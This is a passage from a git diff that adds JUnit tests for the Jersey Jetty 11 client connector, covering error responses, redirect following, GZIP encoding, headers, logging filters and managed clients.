+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ */
+public class ErrorTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(ErrorTest.class.getName());
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(ErrorResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.connectorProvider(new JettyConnectorProvider());
+    }
+
+
+    @Path("/test")
+    public static class ErrorResource {
+        @POST
+        public Response post(String entity) {
+            return Response.serverError().build();
+        }
+
+        @Path("entity")
+        @POST
+        public Response postWithEntity(String entity) {
+            return Response.serverError().entity("error").build();
+        }
+    }
+
+    @Test
+    public void testPostError() {
+        WebTarget r = target("test");
+
+        for (int i = 0; i < 100; i++) {
+            try {
+                r.request().post(Entity.text("POST"));
+            } catch (ClientErrorException ex) {
+            }
+        }
+    }
+
+    @Test
+    public void testPostErrorWithEntity() {
+        WebTarget r = target("test");
+
+        for (int i = 0; i < 100; i++) {
+            try {
+                r.request().post(Entity.text("POST"));
+            } catch (ClientErrorException ex) {
+                String s = ex.getResponse().readEntity(String.class);
+                assertEquals("error", s);
+            }
+        }
+    }
+
+    @Test
+    public void testPostErrorAsync() {
+        WebTarget r = target("test");
+
+        for (int i = 0; i < 100; i++) {
+            try {
+                r.request().async().post(Entity.text("POST"));
+            } catch (ClientErrorException ex) {
+            }
+        }
+    }
+
+    @Test
+    public void testPostErrorWithEntityAsync() {
+        WebTarget r = target("test");
+
+        for (int i = 0; i < 100; i++) {
+            try {
+                r.request().async().post(Entity.text("POST"));
+            } catch (ClientErrorException ex) {
+                String s = ex.getResponse().readEntity(String.class);
+                assertEquals("error", s);
+            }
+        }
+    }
+}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/FollowRedirectsTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/FollowRedirectsTest.java
new file mode 100644
index 0000000..d1a91cd
--- /dev/null
+++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/FollowRedirectsTest.java
@@ -0,0 +1,142 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import java.io.IOException;
+import java.net.URI;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.ClientRequestContext;
+import jakarta.ws.rs.client.ClientResponseContext;
+import jakarta.ws.rs.client.ClientResponseFilter;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import jakarta.ws.rs.core.UriBuilder;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.client.ClientResponse;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+
+import org.junit.jupiter.api.Test;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * Jetty connector follow redirect tests.
+ *
+ * @author Martin Matula
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ * @author Marek Potociar
+ */
+public class FollowRedirectsTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(FollowRedirectsTest.class.getName());
+
+    @Path("/test")
+    public static class RedirectResource {
+        @GET
+        public String get() {
+            return "GET";
+        }
+
+        @GET
+        @Path("redirect")
+        public Response redirect() {
+            return Response.seeOther(UriBuilder.fromResource(RedirectResource.class).build()).build();
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(RedirectResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.property(ClientProperties.FOLLOW_REDIRECTS, false);
+        config.connectorProvider(new JettyConnectorProvider());
+    }
+
+    private static class RedirectTestFilter implements ClientResponseFilter {
+        public static final String RESOLVED_URI_HEADER = "resolved-uri";
+
+        @Override
+        public void filter(ClientRequestContext requestContext, ClientResponseContext responseContext) throws IOException {
+            if (responseContext instanceof ClientResponse) {
+                ClientResponse clientResponse = (ClientResponse) responseContext;
+                responseContext.getHeaders().putSingle(RESOLVED_URI_HEADER, clientResponse.getResolvedRequestUri().toString());
+            }
+        }
+    }
+
+    @Test
+    public void testDoFollow() {
+        final URI u = target().getUri();
+        ClientConfig config = new ClientConfig().property(ClientProperties.FOLLOW_REDIRECTS, true);
+        config.connectorProvider(new JettyConnectorProvider());
+        Client c = ClientBuilder.newClient(config);
+        WebTarget t = c.target(u);
+        Response r = t.path("test/redirect")
+                .register(RedirectTestFilter.class)
+                .request().get();
+        assertEquals(200, r.getStatus());
+        assertEquals("GET", r.readEntity(String.class));
+// TODO uncomment as part of JERSEY-2388 fix.
+//        assertEquals(
+//                UriBuilder.fromUri(getBaseUri()).path(RedirectResource.class).build().toString(),
+//                r.getHeaderString(RedirectTestFilter.RESOLVED_URI_HEADER));
+
+        c.close();
+    }
+
+    @Test
+    public void testDoFollowPerRequestOverride() {
+        WebTarget t = target("test/redirect");
+        t.property(ClientProperties.FOLLOW_REDIRECTS, true);
+        Response r = t.request().get();
+        assertEquals(200, r.getStatus());
+        assertEquals("GET", r.readEntity(String.class));
+    }
+
+    @Test
+    public void testDontFollow() {
+        WebTarget t = target("test/redirect");
+        assertEquals(303, t.request().get().getStatus());
+    }
+
+    @Test
+    public void testDontFollowPerRequestOverride() {
+        final URI u = target().getUri();
+        ClientConfig config = new ClientConfig().property(ClientProperties.FOLLOW_REDIRECTS, true);
+        config.connectorProvider(new JettyConnectorProvider());
+        Client client = ClientBuilder.newClient(config);
+        WebTarget t = client.target(u);
+        t.property(ClientProperties.FOLLOW_REDIRECTS, false);
+        Response r = t.path("test/redirect").request().get();
+        assertEquals(303, r.getStatus());
+        client.close();
+    }
+}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/GZIPContentEncodingTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/GZIPContentEncodingTest.java
new file mode 100644
index 0000000..727c389
--- /dev/null
+++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/GZIPContentEncodingTest.java
@@ -0,0 +1,105 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import java.util.Arrays;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.message.GZipEncoder;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+
+import org.junit.jupiter.api.Test;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+/**
+ * @author Paul Sandoz
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ */
+public class GZIPContentEncodingTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(EntityTest.class.getName());
+
+    @Path("/")
+    public static class Resource {
+
+        @POST
+        public byte[] post(byte[] content) {
+            return content;
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(Resource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.register(GZipEncoder.class);
+        config.connectorProvider(new JettyConnectorProvider());
+    }
+
+    @Test
+    public void testPost() {
+        WebTarget r = target();
+        byte[] content = new byte[1024 * 1024];
+        assertTrue(Arrays.equals(content,
+                r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)).readEntity(byte[].class)));
+
+        Response cr = r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE));
+        assertTrue(cr.hasEntity());
+        cr.close();
+    }
+
+    @Test
+    public void testPostChunked() {
+        ClientConfig config = new ClientConfig();
+        config.property(ClientProperties.CHUNKED_ENCODING_SIZE, 1024);
+        config.connectorProvider(new JettyConnectorProvider());
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+
+        Client client = ClientBuilder.newClient(config);
+        WebTarget r = client.target(getBaseUri());
+
+        byte[] content = new byte[1024 * 1024];
+        assertTrue(Arrays.equals(content,
+                r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)).readEntity(byte[].class)));
+
+        Response cr = r.request().post(Entity.text("POST"));
+        assertTrue(cr.hasEntity());
+        cr.close();
+
+        client.close();
+    }
+
+}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/HelloWorldTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/HelloWorldTest.java
new file mode 100644
index 0000000..4e9f09e
--- /dev/null
+++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/HelloWorldTest.java
@@ -0,0 +1,225 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.InvocationCallback;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+
+import org.junit.jupiter.api.Test;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+/**
+ *
+ * @author Jakub Podlesak
+ */
+public class HelloWorldTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(HelloWorldTest.class.getName());
+    private static final String ROOT_PATH = "helloworld";
+
+    @Path("helloworld")
+    public static class HelloWorldResource {
+        public static final String CLICHED_MESSAGE = "Hello World!";
+
+        @GET
+        @Produces("text/plain")
+        public String getHello() {
+            return CLICHED_MESSAGE;
+        }
+
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(HelloWorldResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.connectorProvider(new JettyConnectorProvider());
+    }
+
+    @Test
+    public void testConnection() {
+        Response response = target().path(ROOT_PATH).request("text/plain").get();
+        assertEquals(200, response.getStatus());
+    }
+
+    @Test
+    public void testClientStringResponse() {
+        String s = target().path(ROOT_PATH).request().get(String.class);
+        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
+    }
+
+    @Test
+    public void testAsyncClientRequests() throws InterruptedException {
+        final int REQUESTS = 20;
+        final CountDownLatch latch = new CountDownLatch(REQUESTS);
+        final long tic = System.currentTimeMillis();
+        for (int i = 0; i < REQUESTS; i++) {
+            final int id = i;
+            target().path(ROOT_PATH).request().async().get(new InvocationCallback<Response>() {
+                @Override
+                public void completed(Response response) {
+                    try {
+                        final String result = response.readEntity(String.class);
+                        assertEquals(HelloWorldResource.CLICHED_MESSAGE, result);
+                    } finally {
+                        latch.countDown();
+                    }
+                }
+
+                @Override
+                public void failed(Throwable error) {
+                    error.printStackTrace();
+                    latch.countDown();
+                }
+            });
+        }
+        latch.await(10 * getAsyncTimeoutMultiplier(), TimeUnit.SECONDS);
+        final long toc = System.currentTimeMillis();
+        Logger.getLogger(HelloWorldTest.class.getName()).info("Executed in: " + (toc - tic));
+    }
+
+    @Test
+    public void testHead() {
+        Response response = target().path(ROOT_PATH).request().head();
+        assertEquals(200, response.getStatus());
+        assertEquals(MediaType.TEXT_PLAIN_TYPE, response.getMediaType());
+    }
+
+    @Test
+    public void testFooBarOptions() {
+        Response response = target().path(ROOT_PATH).request().header("Accept", "foo/bar").options();
+        assertEquals(200, response.getStatus());
+        final String allowHeader = response.getHeaderString("Allow");
+        _checkAllowContent(allowHeader);
+        assertEquals("foo/bar", response.getMediaType().toString());
+        assertEquals(0, response.getLength());
+    }
+
+    @Test
+    public void testTextPlainOptions() {
+        Response response = target().path(ROOT_PATH).request().header("Accept", MediaType.TEXT_PLAIN).options();
+        assertEquals(200, response.getStatus());
+        final String allowHeader = response.getHeaderString("Allow");
+        _checkAllowContent(allowHeader);
+        assertEquals(MediaType.TEXT_PLAIN_TYPE, response.getMediaType());
+        final String responseBody = response.readEntity(String.class);
+        _checkAllowContent(responseBody);
+    }
+
+    private void _checkAllowContent(final String content) {
+        assertTrue(content.contains("GET"));
+        assertTrue(content.contains("HEAD"));
+        assertTrue(content.contains("OPTIONS"));
+    }
+
+    @Test
+    public void testMissingResourceNotFound() {
+        Response response;
+
+        response = target().path(ROOT_PATH + "arbitrary").request().get();
+        assertEquals(404, response.getStatus());
+        response.close();
+
+        response = target().path(ROOT_PATH).path("arbitrary").request().get();
+        assertEquals(404, response.getStatus());
+        response.close();
+    }
+
+    @Test
+    public void testLoggingFilterClientClass() {
+        Client client = client();
+        client.register(CustomLoggingFilter.class).property("foo", "bar");
+        CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
+        String s = target().path(ROOT_PATH).request().get(String.class);
+        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
+        assertEquals(1, CustomLoggingFilter.preFilterCalled);
+        assertEquals(1, CustomLoggingFilter.postFilterCalled);
+        client.close();
+    }
+
+    @Test
+    public void testLoggingFilterClientInstance() {
+        Client client = client();
+        client.register(new CustomLoggingFilter()).property("foo", "bar");
+        CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
+        String s = target().path(ROOT_PATH).request().get(String.class);
+        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
+        assertEquals(1, CustomLoggingFilter.preFilterCalled);
+        assertEquals(1, CustomLoggingFilter.postFilterCalled);
+        client.close();
+    }
+
+    @Test
+    public void testLoggingFilterTargetClass() {
+        WebTarget target = target().path(ROOT_PATH);
+        target.register(CustomLoggingFilter.class).property("foo", "bar");
+        CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
+        String s = target.request().get(String.class);
+        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
+        assertEquals(1, CustomLoggingFilter.preFilterCalled);
+        assertEquals(1, CustomLoggingFilter.postFilterCalled);
+    }
+
+    @Test
+    public void testLoggingFilterTargetInstance() {
+        WebTarget target = target().path(ROOT_PATH);
+        target.register(new CustomLoggingFilter()).property("foo", "bar");
+        CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
+        String s = target.request().get(String.class);
+        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
+        assertEquals(1, CustomLoggingFilter.preFilterCalled);
+        assertEquals(1, CustomLoggingFilter.postFilterCalled);
+    }
+
+    @Test
+    public void testConfigurationUpdate() {
+        Client client1 = client();
+        client1.register(CustomLoggingFilter.class).property("foo", "bar");
+
+        Client client = ClientBuilder.newClient(client1.getConfiguration());
+        CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
+        String s = target().path(ROOT_PATH).request().get(String.class);
+        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
+        assertEquals(1, CustomLoggingFilter.preFilterCalled);
+        assertEquals(1, CustomLoggingFilter.postFilterCalled);
+        client.close();
+    }
+
+}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/HttpHeadersTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/HttpHeadersTest.java
new file mode 100644
index 0000000..c40b811
--- /dev/null
+++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/HttpHeadersTest.java
@@ -0,0 +1,101 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import java.util.List;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.HeaderParam;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.HttpHeaders;
+import jakarta.ws.rs.core.Response;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+
+/**
+ * Tests the headers.
+ *
+ * @author Stepan Kopriva
+ */
+public class HttpHeadersTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(HttpHeadersTest.class.getName());
+
+    @Path("/test")
+    public static class HttpMethodResource {
+        @POST
+        public String post(
+                @HeaderParam("Transfer-Encoding") String transferEncoding,
+                @HeaderParam("X-CLIENT") String xClient,
+                @HeaderParam("X-WRITER") String xWriter,
+                String entity) {
+            assertEquals("client", xClient);
+            return "POST";
+        }
+
+        @GET
+        public String testUserAgent(@Context HttpHeaders httpHeaders) {
+            final List<String> requestHeader = httpHeaders.getRequestHeader(HttpHeaders.USER_AGENT);
+            if (requestHeader.size() != 1) {
+                return "FAIL";
+            }
+            return requestHeader.get(0);
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(HttpMethodResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.connectorProvider(new JettyConnectorProvider());
+    }
+
+    @Test
+    public void testPost() {
+        Response response = target().path("test").request().header("X-CLIENT", "client").post(null);
+
+        assertEquals(200, response.getStatus());
+        assertTrue(response.hasEntity());
+    }
+
+    /**
+     * Test, that {@code User-agent} header is as set by Jersey, not by underlying Jetty client.
+     */
+    @Test
+    public void testUserAgent() {
+        String response = target().path("test").request().get(String.class);
+        assertTrue(response.startsWith("Jersey"), "User-agent header should start with 'Jersey', but was " + response);
+    }
+}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/ManagedClientTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/ManagedClientTest.java
new file mode 100644
index 0000000..eeafa01
--- /dev/null
+++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/ManagedClientTest.java
@@ -0,0 +1,256 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import java.io.IOException;
+import java.lang.annotation.Documented;
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.client.ClientRequestContext;
+import jakarta.ws.rs.client.ClientRequestFilter;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.container.ContainerRequestContext;
+import jakarta.ws.rs.container.ContainerRequestFilter;
+import jakarta.ws.rs.container.DynamicFeature;
+import jakarta.ws.rs.container.ResourceInfo;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.FeatureContext;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ClientBinding;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.server.Uri;
+import org.glassfish.jersey.test.JerseyTest;
+
+import org.junit.jupiter.api.Test;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * Jersey programmatic managed client test
+ *
+ * @author Marek Potociar
+ */
+public class ManagedClientTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(ManagedClientTest.class.getName());
+
+    /**
+     * Managed client configuration for client A.
+     */
+    @ClientBinding(configClass = MyClientAConfig.class)
+    @Documented
+    @Retention(RetentionPolicy.RUNTIME)
+    @Target({ElementType.FIELD, ElementType.PARAMETER})
+    public static @interface ClientA {
+    }
+
+    /**
+     * Managed client configuration for client B.
+     */
+    @ClientBinding(configClass = MyClientBConfig.class)
+    @Documented
+    @Retention(RetentionPolicy.RUNTIME)
+    @Target({ElementType.FIELD, ElementType.PARAMETER})
+    public @interface ClientB {
+    }
+
+    /**
+     * Dynamic feature that appends a properly configured {@link CustomHeaderFilter} instance
+     * to every method that is annotated with {@link Require &#64;Require} internal feature
+     * annotation.
+     */
+    public static class CustomHeaderFeature implements DynamicFeature {
+
+        /**
+         * A method annotation to be placed on those resource methods to which a validating
+         * {@link CustomHeaderFilter} instance should be added.
+         */
+        @Retention(RetentionPolicy.RUNTIME)
+        @Documented
+        @Target(ElementType.METHOD)
+        public static @interface Require {
+
+            /**
+             * Expected custom header name to be validated by the {@link CustomHeaderFilter}.
+             */
+            public String headerName();
+
+            /**
+             * Expected custom header value to be validated by the {@link CustomHeaderFilter}.
+             */
+            public String headerValue();
+        }
+
+        @Override
+        public void configure(ResourceInfo resourceInfo, FeatureContext context) {
+            final Require va = resourceInfo.getResourceMethod().getAnnotation(Require.class);
+            if (va != null) {
+                context.register(new CustomHeaderFilter(va.headerName(), va.headerValue()));
+            }
+        }
+    }
+
+    /**
+     * A filter for appending and validating custom headers.
+     * <p>
+     * On the client side, appends a new custom request header with a configured name and value to each outgoing request.
+     * </p>
+     * <p>
+     * On the server side, validates that each request has a custom header with a configured name and value.
+     * If the validation fails a HTTP 403 response is returned.
+     * </p>
+     */
+    public static class CustomHeaderFilter implements ContainerRequestFilter, ClientRequestFilter {
+
+        private final String headerName;
+        private final String headerValue;
+
+        public CustomHeaderFilter(String headerName, String headerValue) {
+            if (headerName == null || headerValue == null) {
+                throw new IllegalArgumentException("Header name and value must not be null.");
+            }
+            this.headerName = headerName;
+            this.headerValue = headerValue;
+        }
+
+        @Override
+        public void filter(ContainerRequestContext ctx) throws IOException { // validate
+            if (!headerValue.equals(ctx.getHeaderString(headerName))) {
+                ctx.abortWith(Response.status(Response.Status.FORBIDDEN)
+                        .type(MediaType.TEXT_PLAIN)
+                        .entity(String
+                                .format("Expected header '%s' not present or value not equal to '%s'", headerName, headerValue))
+                        .build());
+            }
+        }
+
+        @Override
+        public void filter(ClientRequestContext ctx) throws IOException { // append
+            ctx.getHeaders().putSingle(headerName, headerValue);
+        }
+    }
+
+    /**
+     * Internal resource accessed from the managed client resource.
+     */
+    @Path("internal")
+    public static class InternalResource {
+
+        @GET
+        @Path("a")
+        @CustomHeaderFeature.Require(headerName = "custom-header", headerValue = "a")
+        public String getA() {
+            return "a";
+        }
+
+        @GET
+        @Path("b")
+        @CustomHeaderFeature.Require(headerName = "custom-header", headerValue = "b")
+        public String getB() {
+            return "b";
+        }
+    }
+
+    /**
+     * A resource that uses managed clients to retrieve values of internal
+     * resources 'A' and 'B', which are protected by a {@link CustomHeaderFilter}
+     * and require a specific custom header in a request to be set to a specific value.
+     * <p>
+     * Properly configured managed clients have a {@code CustomHeaderFilter} instance
+     * configured to insert the {@link CustomHeaderFeature.Require required} custom header
+     * with a proper value into the outgoing client requests.
+     * </p>
+     */
+    @Path("public")
+    public static class PublicResource {
+
+        @Uri("a")
+        @ClientA // resolves to <base>/internal/a
+        private WebTarget targetA;
+
+        @GET
+        @Produces("text/plain")
+        @Path("a")
+        public String getTargetA() {
+            return targetA.request(MediaType.TEXT_PLAIN).get(String.class);
+        }
+
+        @GET
+        @Produces("text/plain")
+        @Path("b")
+        public Response getTargetB(@Uri("internal/b") @ClientB WebTarget targetB) {
+            return targetB.request(MediaType.TEXT_PLAIN).get();
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(PublicResource.class, InternalResource.class, CustomHeaderFeature.class)
+                .property(ClientA.class.getName() + ".baseUri", this.getBaseUri().toString() + "internal");
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    public static class MyClientAConfig extends ClientConfig {
+
+        public MyClientAConfig() {
+            this.register(new CustomHeaderFilter("custom-header", "a"));
+        }
+    }
+
+    public static class MyClientBConfig extends ClientConfig {
+
+        public MyClientBConfig() {
+            this.register(new CustomHeaderFilter("custom-header", "b"));
+        }
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.connectorProvider(new JettyConnectorProvider());
+    }
+
+    /**
+     * Test that a connection via managed clients works properly.
+     *
+     * @throws Exception in case of test failure.
+     */
+    @Test
+    public void testManagedClient() throws Exception {
+        final WebTarget resource = target().path("public").path("{name}");
+        Response response;
+
+        response = resource.resolveTemplate("name", "a").request(MediaType.TEXT_PLAIN).get();
+        assertEquals(200, response.getStatus());
+        assertEquals("a", response.readEntity(String.class));
+
+        response = resource.resolveTemplate("name", "b").request(MediaType.TEXT_PLAIN).get();
+        assertEquals(200, response.getStatus());
+        assertEquals("b", response.readEntity(String.class));
+    }
+
+}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/MethodTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/MethodTest.java
new file mode 100644
index 0000000..dc366d1
--- /dev/null
+++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/MethodTest.java
@@ -0,0 +1,153 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
